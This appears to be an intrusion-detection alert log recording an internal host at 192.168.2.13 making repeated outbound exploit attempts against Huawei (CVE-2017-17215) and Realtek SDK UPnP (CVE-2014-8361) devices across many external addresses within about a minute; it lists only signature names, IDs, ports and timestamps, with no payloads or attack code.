ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.25.72.152

Timestamp:	07/20/24-23:01:02.601732
SID:	2835222
Source Port:	41910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 125.16.244.96

Timestamp:	07/20/24-23:01:02.607576
SID:	2835222
Source Port:	58268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 128.216.207.69

Timestamp:	07/20/24-23:01:14.998118
SID:	2835222
Source Port:	57822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 75.16.206.108

Timestamp:	07/20/24-23:01:14.525838
SID:	2027339
Source Port:	57822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.232.225.193

Timestamp:	07/20/24-23:01:14.547545
SID:	2027339
Source Port:	59308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 178.215.23.149

Timestamp:	07/20/24-23:01:04.892375
SID:	2835222
Source Port:	48748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.194.202.64

Timestamp:	07/20/24-23:01:12.495795
SID:	2835222
Source Port:	35740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 130.255.231.167

Timestamp:	07/20/24-23:01:27.222234
SID:	2829579
Source Port:	39986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.80.1.119

Timestamp:	07/20/24-23:01:06.802009
SID:	2835222
Source Port:	44010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 76.214.57.173

Timestamp:	07/20/24-23:01:14.558193
SID:	2027339
Source Port:	43374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.62.26.229

Timestamp:	07/20/24-23:01:06.798361
SID:	2835222
Source Port:	37500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 183.244.92.210

Timestamp:	07/20/24-23:01:07.201035
SID:	2025132
Source Port:	41406
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.42.201.100

Timestamp:	07/20/24-23:01:25.414724
SID:	2835222
Source Port:	55304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.50.130.163

Timestamp:	07/20/24-23:01:25.388680
SID:	2835222
Source Port:	56714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.30.140.44

Timestamp:	07/20/24-23:01:02.603717
SID:	2829579
Source Port:	48126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.196.73.48

Timestamp:	07/20/24-23:01:36.781255
SID:	2835222
Source Port:	48288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.205.241.233

Timestamp:	07/20/24-23:01:36.796105
SID:	2829579
Source Port:	55762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 25.216.97.59

Timestamp:	07/20/24-23:01:19.864881
SID:	2027339
Source Port:	35180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.84.182.36

Timestamp:	07/20/24-23:01:12.533731
SID:	2835222
Source Port:	34720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 61.74.229.54

Timestamp:	07/20/24-23:01:22.748660
SID:	2835222
Source Port:	36276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.254.56.10

Timestamp:	07/20/24-23:01:08.381624
SID:	2829579
Source Port:	36206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 153.224.170.192

Timestamp:	07/20/24-23:01:06.820921
SID:	2829579
Source Port:	42326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.128.69.214

Timestamp:	07/20/24-23:00:59.020164
SID:	2835222
Source Port:	35902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.196.231.184

Timestamp:	07/20/24-23:01:12.490733
SID:	2829579
Source Port:	55260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 219.208.149.193

Timestamp:	07/20/24-23:01:14.547224
SID:	2831300
Source Port:	52386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 47.131.156.7

Timestamp:	07/20/24-23:01:14.505885
SID:	2831300
Source Port:	55284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 25.100.29.220

Timestamp:	07/20/24-23:00:59.054914
SID:	2829579
Source Port:	34082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.172.181.194

Timestamp:	07/20/24-23:01:12.356738
SID:	2829579
Source Port:	57084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 160.241.202.23

Timestamp:	07/20/24-23:01:05.449847
SID:	2025132
Source Port:	47076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.80.205.190

Timestamp:	07/20/24-23:01:06.800492
SID:	2829579
Source Port:	33084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.135.31.86

Timestamp:	07/20/24-23:01:32.271087
SID:	2829579
Source Port:	59338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.161.52.19

Timestamp:	07/20/24-23:00:59.021201
SID:	2835222
Source Port:	50462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.143.112.34

Timestamp:	07/20/24-23:01:27.276711
SID:	2829579
Source Port:	40942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.180.244.253

Timestamp:	07/20/24-23:01:12.487419
SID:	2835222
Source Port:	53652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 87.8.107.75

Timestamp:	07/20/24-23:01:14.566461
SID:	2027339
Source Port:	38132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.23.202.220

Timestamp:	07/20/24-23:01:12.356929
SID:	2835222
Source Port:	58830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 80.102.232.62

Timestamp:	07/20/24-23:01:27.352864
SID:	2831300
Source Port:	42194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 20.222.215.240

Timestamp:	07/20/24-23:00:59.022298
SID:	2829579
Source Port:	46612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.112.173.36

Timestamp:	07/20/24-23:01:32.232613
SID:	2829579
Source Port:	44148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.82.209.252

Timestamp:	07/20/24-23:00:59.055000
SID:	2835222
Source Port:	49580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.63.61.122

Timestamp:	07/20/24-23:01:12.495795
SID:	2829579
Source Port:	38778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.159.140.171

Timestamp:	07/20/24-23:01:32.259331
SID:	2835222
Source Port:	47658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 64.225.124.7

Timestamp:	07/20/24-23:01:07.511643
SID:	2025132
Source Port:	47530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 159.127.6.20

Timestamp:	07/20/24-23:01:14.533279
SID:	2027339
Source Port:	38334
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.136.217.167

Timestamp:	07/20/24-23:01:22.799496
SID:	2829579
Source Port:	34412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 64.40.133.93

Timestamp:	07/20/24-23:01:04.841989
SID:	2829579
Source Port:	52210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 74.253.225.130

Timestamp:	07/20/24-23:01:05.491830
SID:	2025132
Source Port:	57330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 104.175.135.141

Timestamp:	07/20/24-23:01:27.354992
SID:	2831300
Source Port:	33796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 98.189.122.151

Timestamp:	07/20/24-23:01:05.142625
SID:	2027339
Source Port:	34054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.7.29.244

Timestamp:	07/20/24-23:01:14.998674
SID:	2835222
Source Port:	38652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.221.120.154

Timestamp:	07/20/24-23:01:04.861979
SID:	2835222
Source Port:	53592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 189.108.39.158

Timestamp:	07/20/24-23:01:19.916702
SID:	2025132
Source Port:	35378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 164.88.101.43

Timestamp:	07/20/24-23:01:12.358593
SID:	2835222
Source Port:	38688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 197.160.210.166

Timestamp:	07/20/24-23:01:05.592633
SID:	2025132
Source Port:	41912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.121.161.205

Timestamp:	07/20/24-23:01:12.517792
SID:	2835222
Source Port:	46010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.191.93.255

Timestamp:	07/20/24-23:01:32.232613
SID:	2835222
Source Port:	56232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 204.46.251.166

Timestamp:	07/20/24-23:01:14.502058
SID:	2831300
Source Port:	41154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.9.47.161

Timestamp:	07/20/24-23:01:06.812906
SID:	2835222
Source Port:	33004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 191.251.66.209

Timestamp:	07/20/24-23:01:05.009396
SID:	2027339
Source Port:	55160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 204.210.9.128

Timestamp:	07/20/24-23:01:06.895307
SID:	2027339
Source Port:	48040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.69.83.103

Timestamp:	07/20/24-23:01:02.678688
SID:	2829579
Source Port:	43210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 168.214.55.135

Timestamp:	07/20/24-23:01:03.816822
SID:	2027339
Source Port:	53024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.81.13.239

Timestamp:	07/20/24-23:01:04.908544
SID:	2829579
Source Port:	55358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.51.120.46

Timestamp:	07/20/24-23:01:32.267589
SID:	2835222
Source Port:	37448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 78.238.220.249

Timestamp:	07/20/24-23:01:05.820100
SID:	2025132
Source Port:	38148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 40.14.24.23

Timestamp:	07/20/24-23:01:14.547545
SID:	2027339
Source Port:	35620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.171.147.236

Timestamp:	07/20/24-23:01:02.620832
SID:	2835222
Source Port:	60948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.87.150

Timestamp:	07/20/24-23:01:22.811587
SID:	2829579
Source Port:	36204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 130.214.200.95

Timestamp:	07/20/24-23:01:12.502954
SID:	2835222
Source Port:	56354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.238.42.16

Timestamp:	07/20/24-23:01:27.352817
SID:	2027339
Source Port:	42974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 51.230.131.89

Timestamp:	07/20/24-23:01:05.445612
SID:	2025132
Source Port:	57540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.33.169.56

Timestamp:	07/20/24-23:01:02.613456
SID:	2835222
Source Port:	51784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 197.89.201.126

Timestamp:	07/20/24-23:01:19.927498
SID:	2027339
Source Port:	51338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.184.88.81

Timestamp:	07/20/24-23:00:59.023270
SID:	2835222
Source Port:	59968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 118.95.117.249

Timestamp:	07/20/24-23:01:14.513708
SID:	2831300
Source Port:	54014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.203.145.177

Timestamp:	07/20/24-23:01:25.413014
SID:	2829579
Source Port:	37102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 23.140.135.200

Timestamp:	07/20/24-23:01:27.286229
SID:	2835222
Source Port:	38124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.119.225.136

Timestamp:	07/20/24-23:01:32.199190
SID:	2829579
Source Port:	43158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 184.235.53.151

Timestamp:	07/20/24-23:01:14.566461
SID:	2831300
Source Port:	55530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 71.112.213.237

Timestamp:	07/20/24-23:01:14.546163
SID:	2831300
Source Port:	34056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.82.183.17

Timestamp:	07/20/24-23:01:06.801543
SID:	2835222
Source Port:	41412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 206.239.43.25

Timestamp:	07/20/24-23:01:14.552891
SID:	2027339
Source Port:	55230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 172.54.67.32

Timestamp:	07/20/24-23:01:14.530874
SID:	2831300
Source Port:	38220
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.83.108.146

Timestamp:	07/20/24-23:01:32.259331
SID:	2829579
Source Port:	45908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 46.178.0.255

Timestamp:	07/20/24-23:01:20.429707
SID:	2027339
Source Port:	35696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 160.89.205.146

Timestamp:	07/20/24-23:01:14.520422
SID:	2831300
Source Port:	46936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.253.243.30

Timestamp:	07/20/24-23:01:36.808711
SID:	2829579
Source Port:	38994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.154.65.167

Timestamp:	07/20/24-23:01:06.805919
SID:	2829579
Source Port:	43834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 76.214.57.173

Timestamp:	07/20/24-23:01:07.284195
SID:	2027339
Source Port:	41386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 150.36.84.70

Timestamp:	07/20/24-23:01:04.907418
SID:	2829579
Source Port:	57442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.5.180.251

Timestamp:	07/20/24-23:01:14.543026
SID:	2027339
Source Port:	39282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 121.35.219.146

Timestamp:	07/20/24-23:01:14.520422
SID:	2027339
Source Port:	57380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 128.25.16.1

Timestamp:	07/20/24-23:01:14.556764
SID:	2831300
Source Port:	41648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 115.52.50.250

Timestamp:	07/20/24-23:01:07.435626
SID:	2027339
Source Port:	57950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.98.209.55

Timestamp:	07/20/24-23:01:32.276800
SID:	2829579
Source Port:	42208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 173.10.79.117

Timestamp:	07/20/24-23:01:40.432669
SID:	2835222
Source Port:	52162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.248.214.0

Timestamp:	07/20/24-23:01:04.853128
SID:	2829579
Source Port:	34030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.200.38.194

Timestamp:	07/20/24-23:00:59.023356
SID:	2835222
Source Port:	38738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 187.248.171.89

Timestamp:	07/20/24-23:01:14.530241
SID:	2027339
Source Port:	57274
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 43.240.11.124

Timestamp:	07/20/24-23:01:14.544463
SID:	2831300
Source Port:	46230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.223.139.197

Timestamp:	07/20/24-23:01:20.444947
SID:	2027339
Source Port:	55950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

